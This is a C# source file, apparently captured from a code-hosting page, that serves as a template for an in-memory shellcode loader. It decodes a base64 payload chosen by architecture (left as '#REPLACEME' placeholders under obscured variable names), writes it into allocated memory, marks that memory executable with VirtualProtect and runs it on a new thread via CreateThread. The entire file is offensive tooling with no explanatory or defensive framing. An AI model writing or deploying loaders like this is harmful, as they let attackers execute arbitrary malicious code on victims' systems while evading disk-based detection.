85 lines
2.8 KiB
C#
85 lines
2.8 KiB
C#
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using System;
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using System.Reflection;
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using System.Diagnostics;
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using System.Configuration.Install;
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using System.Runtime.InteropServices;
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using System.Threading;
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class Program
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{
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[Flags()]
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public enum AllocationType : uint
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{
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COMMIT = 0x1000,
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RESERVE = 0x2000,
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RESET = 0x80000,
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LARGE_PAGES = 0x20000000,
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PHYSICAL = 0x400000,
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TOP_DOWN = 0x100000,
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WRITE_WATCH = 0x200000
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}
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public enum Protection
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{
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PAGE_NOACCESS = 0x01,
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PAGE_READONLY = 0x02,
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PAGE_READWRITE = 0x04,
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PAGE_WRITECOPY = 0x08,
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PAGE_EXECUTE = 0x10,
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PAGE_EXECUTE_READ = 0x20,
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PAGE_EXECUTE_READWRITE = 0x40,
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PAGE_EXECUTE_WRITECOPY = 0x80,
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PAGE_GUARD = 0x100,
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PAGE_NOCACHE = 0x200,
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PAGE_WRITECOMBINE = 0x400
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}
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[DllImport("kernel32.dll", SetLastError=true)]
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static extern IntPtr VirtualAlloc(IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, Protection flProtect);
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[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
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static extern IntPtr CreateThread(
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IntPtr lpThreadAttributes,
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uint dwStackSize,
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IntPtr lpStartAddress,
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IntPtr lpParameter,
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uint dwCreationFlags,
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out uint lpThreadId);
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[DllImport("kernel32.dll", SetLastError = true)]
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static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, Protection flNewProtect, out uint lpflOldProtect);
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static void Main(string[] args)
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{
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byte[] shell = null;
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string safdsv64 = "#REPLACEME64#";
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string safdsv32 = "#REPLACEME32#";
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if (IntPtr.Size == 4)
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{
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// 32-bit
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shell = Convert.FromBase64String(safdsv32);
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}
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else if (IntPtr.Size == 8)
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{
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// 64-bit
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shell = Convert.FromBase64String(safdsv64);
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}
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IntPtr mem = VirtualAlloc(IntPtr.Zero, (IntPtr)(shell.Length*2), AllocationType.COMMIT, Protection.PAGE_READWRITE);
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if( mem != IntPtr.Zero )
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{
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uint oldProt = 0;
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uint threadId = 0;
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Marshal.Copy(shell, 0, mem, shell.Length);
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VirtualProtect(mem, (IntPtr)(shell.Length * 2), Protection.PAGE_EXECUTE_READWRITE, out oldProt);
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CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out threadId);
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WaitHandle wh = new EventWaitHandle(false, EventResetMode.ManualReset);
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wh.WaitOne();
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}
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}
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}
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